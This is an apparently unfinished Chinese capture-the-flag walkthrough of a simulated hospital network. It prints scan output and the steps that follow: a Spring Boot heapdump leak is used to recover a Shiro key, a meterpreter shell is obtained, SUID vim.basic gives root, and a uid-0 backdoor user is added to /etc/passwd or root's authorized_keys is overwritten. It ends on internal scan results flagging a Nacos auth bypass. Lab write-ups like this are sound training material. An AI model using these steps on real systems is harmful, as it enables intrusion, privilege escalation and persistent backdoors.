Hospital
Hacked,空闲时补充完整
靶标介绍
在这个场景中,你将扮演一名渗透测试工程师,被派遣去测试某家医院的网络安全性。你的目标是成功获取所有服务器的权限,以评估公司的网络安全状况。该靶场共有 4 个flag,分布于不同的靶机。
知识点
- 内网渗透
- Nacos
- Shiro
- Fastjson
- Decrypt
- 多层代理
外网
fscan
└─# fscan -h 39.101.172.40
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.3
start infoscan
39.101.172.40:21 open
39.101.172.40:22 open
39.101.172.40:8080 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://39.101.172.40:8080 code:302 len:0 title:None 跳转url: http://39.101.172.40:8080/login;jsessionid=C654E28EEDD40945A2ECCA8C95A54B7C
[*] WebTitle http://39.101.172.40:8080/login;jsessionid=C654E28EEDD40945A2ECCA8C95A54B7C code:200 len:2005 title:医疗管理后台
[+] PocScan http://39.101.172.40:8080 poc-yaml-spring-actuator-heapdump-file
扫出来Springboot Actuator未授权访问漏洞,/actuator/heapdump
存在heapdump泄露,使用工具获取ShiroKey。
└─# java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
===========================================
CookieRememberMeManager(ShiroKey)
-------------
algMode = CBC, key = [deleted], algName = AES
===========================================
OriginTrackedMapPropertySource
-------------
management.endpoints.web.exposure.include = *
server.port = 8080
spring.thymeleaf.prefix = classpath:/templates/
利用命令执行获取上传Viper,这时权限为app。
meterpreter > shell -c 'id'
uid=1000(app) gid=1000(app) groups=1000(app)
meterpreter > sysinfo
Computer : 172.30.12.5
OS : Ubuntu 20.04 (Linux 5.4.0-164-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Pid : 4312
Meterpreter : x64/linux
当然也可以进行内存马注入,但不一定成功。
SUID → Root
查看SUID发现有vim.basic
,这时有两个选择
meterpreter > shell -c 'find / -perm -u=s -type f 2>/dev/null'
/usr/bin/vim.basic
/usr/bin/su
/usr/bin/newgrp
/usr/bin/staprun
/usr/bin/at
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/chfn
/usr/bin/stapbpf
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/fusermount
/usr/bin/mount
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
-
直接读取flag
meterpreter > shell -c 'vim.basic /root/flag/flag01.txt' O)) O)) O)) O)) O)) O)) O) O)) O)) O)) O)) O)) O)))) O) O)) O)O) O) O)) O)) O)))))) O)) O)) O)) O)) O) O)) O)) O)) O)) O)) O)) O)) O))O)) O)) O))) O) O))O)) O)) O)) O)) O)) O)) O)) O)) O)) O))O)) O)) O)) O)) O)) O)) O)) O)) O)) O)) O)) O))O)) O)) O)) O)) O)))O))) O)) flag01: flag{29aa5152-568e-41e6-ada4-c7e832bede61}
-
提权至Root,两者前提都是需要交互式的 shell
-
利用
/root/.ssh/authorized_keys
登录app@web01:~$ vim.basic /root/.ssh/authorized_keys #在保存时会提示readonly,使用:wq!强制保存即可
-
修改etc/passwd文件,为自己添加一个有root权限的用户
#生成密码123 openssl passwd -1 –salt asd 123 vim.basic /etc/passwd #添加账户 toor:[passwd]:0:0:root:/toor:/bin/bash
-
内网
172.30.12.236:22 open
172.30.12.236:8080 open
172.30.12.5:22 open
172.30.12.5:8080 open
172.30.12.5:7001 open
172.30.12.6:445 open
172.30.12.6:139 open
172.30.12.6:135 open
172.30.12.6:8848 open
172.30.12.236:8009 open
[*] NetInfo
[*]172.30.12.6
[->]Server02
[->]172.30.12.6
[*] WebTitle http://172.30.12.5:8080 code:302 len:0 title:None 跳转url: http://172.30.12.5:8080/login;jsessionid=19E532C50AD076EC9E4AA85CF5C9CEF3
[*] WebTitle http://172.30.12.6:8848 code:404 len:431 title:HTTP Status 404 – Not Found
[*] NetBios 172.30.12.6 WORKGROUP\SERVER02
[*] WebTitle http://172.30.12.236:8080 code:200 len:3964 title:医院后台管理平台
[*] WebTitle http://172.30.12.5:8080/login;jsessionid=19E532C50AD076EC9E4AA85CF5C9CEF3 code:200 len:2005 title:医疗管理后台
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos-v1-auth-bypass
[+] PocScan http://172.30.12.5:8080 poc-yaml-spring-actuator-heapdump-file